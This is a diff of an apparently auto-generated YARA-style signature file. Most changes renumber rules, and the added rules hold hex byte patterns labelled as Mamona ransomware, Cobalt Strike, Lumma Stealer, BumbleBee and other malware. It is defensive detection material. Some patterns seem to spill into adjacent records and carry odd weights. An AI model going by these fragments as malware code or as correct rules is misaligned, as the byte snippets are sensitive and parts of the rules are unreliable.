_InfrastructureShared_5751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57052,7 +59588,7 @@ rule _InfrastructureShared_5505{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5506{ +rule _InfrastructureShared_5752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57062,7 +59598,7 @@ rule _InfrastructureShared_5506{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5507{ +rule _InfrastructureShared_5753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57072,7 +59608,7 @@ rule _InfrastructureShared_5507{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5508{ +rule _InfrastructureShared_5754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57082,7 +59618,7 @@ rule _InfrastructureShared_5508{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5509{ +rule _InfrastructureShared_5755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57092,7 +59628,7 @@ rule _InfrastructureShared_5509{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5510{ +rule _InfrastructureShared_5756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57102,7 +59638,7 @@ rule _InfrastructureShared_5510{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5511{ +rule _InfrastructureShared_5757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57112,7 +59648,7 @@ rule _InfrastructureShared_5511{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5512{ +rule _InfrastructureShared_5758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57122,7 +59658,7 @@ rule _InfrastructureShared_5512{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5513{ +rule _InfrastructureShared_5759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57132,7 +59668,7 @@ rule _InfrastructureShared_5513{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5514{ +rule _InfrastructureShared_5760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57142,7 +59678,7 @@ rule _InfrastructureShared_5514{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5515{ +rule _InfrastructureShared_5761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57152,7 +59688,7 @@ rule _InfrastructureShared_5515{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5516{ +rule _InfrastructureShared_5762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57162,7 +59698,7 @@ rule _InfrastructureShared_5516{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5517{ +rule _InfrastructureShared_5763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57172,7 +59708,7 @@ rule _InfrastructureShared_5517{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5518{ +rule _InfrastructureShared_5764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57182,7 +59718,7 @@ rule _InfrastructureShared_5518{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5519{ +rule _InfrastructureShared_5765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57192,7 +59728,7 @@ rule _InfrastructureShared_5519{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5520{ +rule _InfrastructureShared_5766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57202,7 +59738,7 @@ rule _InfrastructureShared_5520{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5521{ +rule _InfrastructureShared_5767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57212,7 +59748,7 @@ rule _InfrastructureShared_5521{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5522{ +rule _InfrastructureShared_5768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57222,7 +59758,7 @@ rule _InfrastructureShared_5522{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5523{ +rule _InfrastructureShared_5769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57232,7 +59768,7 @@ rule _InfrastructureShared_5523{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5524{ +rule _InfrastructureShared_5770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57242,7 +59778,7 @@ rule _InfrastructureShared_5524{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5525{ +rule _InfrastructureShared_5771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57252,7 +59788,7 @@ rule _InfrastructureShared_5525{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5526{ +rule _InfrastructureShared_5772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57262,7 +59798,7 @@ rule _InfrastructureShared_5526{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5527{ +rule _InfrastructureShared_5773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57272,7 +59808,7 @@ rule _InfrastructureShared_5527{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5528{ +rule _InfrastructureShared_5774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57282,7 +59818,7 @@ rule _InfrastructureShared_5528{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5529{ +rule _InfrastructureShared_5775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57292,7 +59828,7 @@ rule _InfrastructureShared_5529{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5530{ +rule _InfrastructureShared_5776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57302,7 +59838,7 @@ rule _InfrastructureShared_5530{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5531{ +rule _InfrastructureShared_5777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57312,7 +59848,7 @@ rule _InfrastructureShared_5531{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5532{ +rule _InfrastructureShared_5778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57322,7 +59858,7 @@ rule _InfrastructureShared_5532{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5533{ +rule _InfrastructureShared_5779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57332,7 +59868,7 @@ rule _InfrastructureShared_5533{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5534{ +rule _InfrastructureShared_5780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57342,7 +59878,7 @@ rule _InfrastructureShared_5534{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5535{ +rule _InfrastructureShared_5781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57352,7 +59888,7 @@ rule _InfrastructureShared_5535{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5536{ +rule _InfrastructureShared_5782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57362,7 +59898,7 @@ rule _InfrastructureShared_5536{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5537{ +rule _InfrastructureShared_5783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57372,7 +59908,7 @@ rule _InfrastructureShared_5537{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5538{ +rule _InfrastructureShared_5784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57382,7 +59918,7 @@ rule _InfrastructureShared_5538{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5539{ +rule _InfrastructureShared_5785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57392,7 +59928,7 @@ rule _InfrastructureShared_5539{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5540{ +rule _InfrastructureShared_5786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57402,7 +59938,7 @@ rule _InfrastructureShared_5540{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5541{ +rule _InfrastructureShared_5787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57412,7 +59948,17 @@ rule _InfrastructureShared_5541{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5542{ +rule _InfrastructureShared_5788{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4d 61 6d 6f 6e 61 2e 41 42 21 4d 54 42 00 01 00 35 01 8a bd 6d 10 00 00 0f 94 45 ec 80 3d c4 6e 43 00 00 88 45 d2 8a 85 6f 10 00 00 88 45 d1 8a 85 71 10 00 00 88 45 c0 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_5789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57422,7 +59968,7 @@ rule _InfrastructureShared_5542{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5543{ +rule _InfrastructureShared_5790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57432,7 +59978,7 @@ rule _InfrastructureShared_5543{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5544{ +rule _InfrastructureShared_5791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57442,7 +59988,7 @@ rule _InfrastructureShared_5544{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5545{ +rule _InfrastructureShared_5792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57452,7 +59998,7 @@ rule _InfrastructureShared_5545{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5546{ +rule _InfrastructureShared_5793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -57463,7 +60009,7 @@ rule _InfrastructureShared_5546{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*21280) >=1 } -rule _InfrastructureShared_5547{ +rule _InfrastructureShared_5794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -57473,7 +60019,7 @@ rule _InfrastructureShared_5547{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5548{ +rule _InfrastructureShared_5795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -57483,7 +60029,7 @@ rule _InfrastructureShared_5548{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5549{ +rule _InfrastructureShared_5796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -57494,7 +60040,7 @@ rule _InfrastructureShared_5549{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=1 } -rule _InfrastructureShared_5550{ +rule _InfrastructureShared_5797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -57504,7 +60050,7 @@ rule _InfrastructureShared_5550{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5551{ +rule _InfrastructureShared_5798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -57514,7 +60060,7 @@ rule _InfrastructureShared_5551{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5552{ +rule _InfrastructureShared_5799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -57524,7 +60070,27 @@ rule _InfrastructureShared_5552{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5553{ +rule _InfrastructureShared_5800{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 61 64 65 72 44 42 2e 45 42 49 56 21 4d 54 42 00 02 00 32 03 26 1d 13 05 2b c2 16 0a 18 13 05 2b bb 03 04 61 1f 2f 59 06 61 90 01 09 11 06 1f 7f 91 90 01 05 59 13 05 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5801{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 41 56 4c 21 4d 54 42 00 02 00 2e 03 41 8b c8 4d 8d 49 90 01 01 b8 90 01 04 41 f7 e0 41 ff c0 c1 ea 90 01 01 6b c2 90 01 01 2b c8 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57535,7 +60101,7 @@ rule _InfrastructureShared_5553{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29554) >=2 } -rule _InfrastructureShared_5554{ +rule _InfrastructureShared_5803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57546,7 +60112,7 @@ rule _InfrastructureShared_5554{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*-28668) >=2 } -rule _InfrastructureShared_5555{ +rule _InfrastructureShared_5804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57557,7 +60123,7 @@ rule _InfrastructureShared_5555{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*61) >=2 } -rule _InfrastructureShared_5556{ +rule _InfrastructureShared_5805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57568,7 +60134,7 @@ rule _InfrastructureShared_5556{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*24421) >=2 } -rule _InfrastructureShared_5557{ +rule _InfrastructureShared_5806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57579,7 +60145,7 @@ rule _InfrastructureShared_5557{ ((#a_46_0 & 1)*16675+(#a_4e_1 & 1)*257) >=2 } -rule _InfrastructureShared_5558{ +rule _InfrastructureShared_5807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57589,7 +60155,7 @@ rule _InfrastructureShared_5558{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5559{ +rule _InfrastructureShared_5808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57599,7 +60165,7 @@ rule _InfrastructureShared_5559{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5560{ +rule _InfrastructureShared_5809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57609,7 +60175,7 @@ rule _InfrastructureShared_5560{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5561{ +rule _InfrastructureShared_5810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57619,7 +60185,7 @@ rule _InfrastructureShared_5561{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5562{ +rule _InfrastructureShared_5811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57630,7 +60196,7 @@ rule _InfrastructureShared_5562{ ((#a_46_0 & 1)*21283+(#a_45_1 & 1)*18464) >=2 } -rule _InfrastructureShared_5563{ +rule _InfrastructureShared_5812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57641,7 +60207,7 @@ rule _InfrastructureShared_5563{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*29288) >=2 } -rule _InfrastructureShared_5564{ +rule _InfrastructureShared_5813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -57652,7 +60218,7 @@ rule _InfrastructureShared_5564{ ((#a_6f_0 & 1)*21539+(#a_76_1 & 1)*29795) >=2 } -rule _InfrastructureShared_5565{ +rule _InfrastructureShared_5814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -57664,7 +60230,7 @@ rule _InfrastructureShared_5565{ ((#a_5f_0 & 1)*16931+(#a_65_1 & 1)*30047+(#a_48_2 & 1)*8448) >=2 } -rule _InfrastructureShared_5566{ +rule _InfrastructureShared_5815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -57676,7 +60242,7 @@ rule _InfrastructureShared_5566{ ((#a_53_0 & 1)*17443+(#a_32_1 & 1)*28265+(#a_94_2 & 1)*29763) >=2 } -rule _InfrastructureShared_5567{ +rule _InfrastructureShared_5816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -57687,7 +60253,7 @@ rule _InfrastructureShared_5567{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=2 } -rule _InfrastructureShared_5568{ +rule _InfrastructureShared_5817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -57698,7 +60264,7 @@ rule _InfrastructureShared_5568{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=2 } -rule _InfrastructureShared_5569{ +rule _InfrastructureShared_5818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -57709,7 +60275,7 @@ rule _InfrastructureShared_5569{ ((#a_46_0 & 1)*16675+(#a_ba_1 & 1)*1280) >=2 } -rule _InfrastructureShared_5570{ +rule _InfrastructureShared_5819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -57719,7 +60285,37 @@ rule _InfrastructureShared_5570{ ((#a_4c_0 & 1)*21539) >=3 } -rule _InfrastructureShared_5571{ +rule _InfrastructureShared_5820{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 33 00 01 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 02 00 22 03 50 45 00 00 4c 01 90 01 12 0b 01 0e 00 00 d0 04 00 00 94 00 00 00 00 00 00 00 90 01 02 00 00 10 90 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=3 + +} +rule _InfrastructureShared_5821{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 34 00 01 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 02 00 22 03 50 45 00 00 4c 01 90 01 12 0b 01 0e 1d 00 da 04 00 00 a4 01 00 00 00 00 00 00 90 01 02 00 00 10 90 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=3 + +} +rule _InfrastructureShared_5822{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 65 6e 6a 61 72 69 73 2e 47 56 41 21 4d 54 42 00 02 00 24 01 8a b0 00 10 40 00 c0 ce df 80 f6 ab 80 ee a4 88 b0 00 10 40 00 40 81 f8 9b 31 02 00 75 e2 61 68 1d f2 40 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=3 + +} +rule _InfrastructureShared_5823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -57731,30 +60327,43 @@ rule _InfrastructureShared_5571{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29295+(#a_41_2 & 1)*13618) >=3 } -rule _InfrastructureShared_5572{ +rule _InfrastructureShared_5824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {59 32 56 3a 43 6c 75 73 74 65 72 32 35 2f 41 50 54 32 38 5f 53 6b 69 6e 6e 79 42 6f 79 5f 44 72 6f 70 70 65 72 00 01 00 0b 01 63 6d 64 20 2f 63 20 44 45 4c 20 01 00 07 01 8a 08 40 84 c9 75 f9 01 00 10 01 0f b7 84 0d fc fe ff ff } //16675 - $a_0d_1 = {fc fd ff ff 00 00 78 62 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 6e 64 6f 63 2e 41 21 64 68 61 00 01 00 1f 00 6a 00 6a 00 6a 03 6a 00 6a 01 68 00 00 00 a0 68 78 31 01 10 ff 15 08 c0 00 10 8b f8 83 ff ff 01 00 06 01 ff d6 6a ff ff 15 01 00 06 01 2e 00 55 00 49 00 00 00 78 62 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 50 68 61 6e 45 76 61 } //12646 - $a_78_2 = {34 21 48 65 61 70 00 01 00 12 01 41 b8 00 00 00 00 ba 40 42 0f 00 b9 00 00 04 00 ff d0 01 00 0d 01 41 b8 40 42 0f 00 ba 08 00 00 00 ff d0 } //25956 + $a_0d_1 = {fc fd ff ff 00 00 78 62 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 6e 64 6f 63 2e 41 21 64 68 61 00 01 00 1f 00 6a 00 6a 00 6a 03 6a 00 6a 01 68 00 00 00 a0 68 78 31 01 10 ff 15 08 c0 00 10 8b f8 83 ff ff 01 00 06 01 ff d6 6a ff ff 15 01 00 06 01 2e 00 55 00 49 00 00 00 78 62 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 } //12646 + $a_69_2 = {36 34 2f 4d 61 74 61 70 72 6f 78 79 2e 41 21 64 68 61 00 01 00 0d 01 4c 69 73 74 65 6e 54 6f 41 67 65 6e 74 01 00 0b 01 4c 69 73 74 65 6e 54 6f 4d 69 64 01 00 10 42 48 83 fb 04 75 90 01 01 81 38 73 74 6f 70 90 00 00 00 78 62 00 00 03 00 03 00 03 00 21 23 48 53 } //14958 condition: - ((#a_46_0 & 1)*16675+(#a_0d_1 & 1)*12646+(#a_78_2 & 1)*25956) >=3 + ((#a_46_0 & 1)*16675+(#a_0d_1 & 1)*12646+(#a_69_2 & 1)*14958) >=3 } -rule _InfrastructureShared_5573{ +rule _InfrastructureShared_5825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 6e 64 6f 63 2e 41 21 64 68 61 00 01 00 1f 00 6a 00 6a 00 6a 03 6a 00 6a 01 68 00 00 00 a0 68 78 31 01 10 ff 15 08 c0 00 10 8b f8 83 ff ff 01 00 06 01 ff d6 6a ff ff 15 01 00 } //16675 - $a_00_1 = {55 00 49 00 00 00 78 62 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 50 68 61 6e 45 76 61 64 65 2e 78 36 34 21 48 65 61 70 00 01 00 12 01 } //262 + $a_00_1 = {55 00 49 00 00 00 78 62 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 74 61 70 72 6f 78 } //262 + $a_21_2 = {68 61 00 01 00 0d 01 4c 69 73 74 65 6e 54 6f 41 67 65 6e 74 01 00 0b 01 4c 69 73 74 65 6e 54 6f 4d 69 64 01 00 10 42 48 83 fb 04 75 90 01 01 81 38 73 74 6f 70 90 00 00 00 78 62 00 00 03 00 03 00 } //11897 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*262) >=3 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*262+(#a_21_2 & 1)*11897) >=3 } -rule _InfrastructureShared_5574{ +rule _InfrastructureShared_5826{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 74 61 70 72 6f 78 79 2e 41 21 64 68 61 00 01 00 0d 01 4c 69 73 74 65 6e 54 6f 41 67 65 6e 74 01 00 0b 01 4c 69 73 74 65 6e 54 6f 4d 69 64 01 00 10 42 48 83 fb 04 75 90 01 01 } //16675 + $a_74_1 = {70 90 00 00 00 78 62 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 50 68 61 6e 45 76 61 64 65 2e 78 36 34 21 48 65 61 70 00 01 00 12 01 41 b8 00 00 00 00 ba 40 42 0f 00 b9 00 00 04 00 ff d0 01 00 0d 01 41 b8 40 42 0f 00 ba 08 00 00 00 ff d0 01 00 15 01 41 b9 00 00 00 00 49 89 d0 ba 00 00 00 00 b9 00 00 00 00 ff d0 00 00 78 62 00 00 03 00 03 00 } //14465 + $a_23_2 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 42 65 65 2e 45 4d 21 4d 54 42 } //3 STR:Trojan:Win64/BumbleBee.EM!MTB + condition: + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*14465+(#a_23_2 & 1)*3) >=3 + +} +rule _InfrastructureShared_5827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -57765,7 +60374,7 @@ rule _InfrastructureShared_5574{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_5575{ +rule _InfrastructureShared_5828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -57776,7 +60385,7 @@ rule _InfrastructureShared_5575{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_5576{ +rule _InfrastructureShared_5829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -57787,7 +60396,7 @@ rule _InfrastructureShared_5576{ 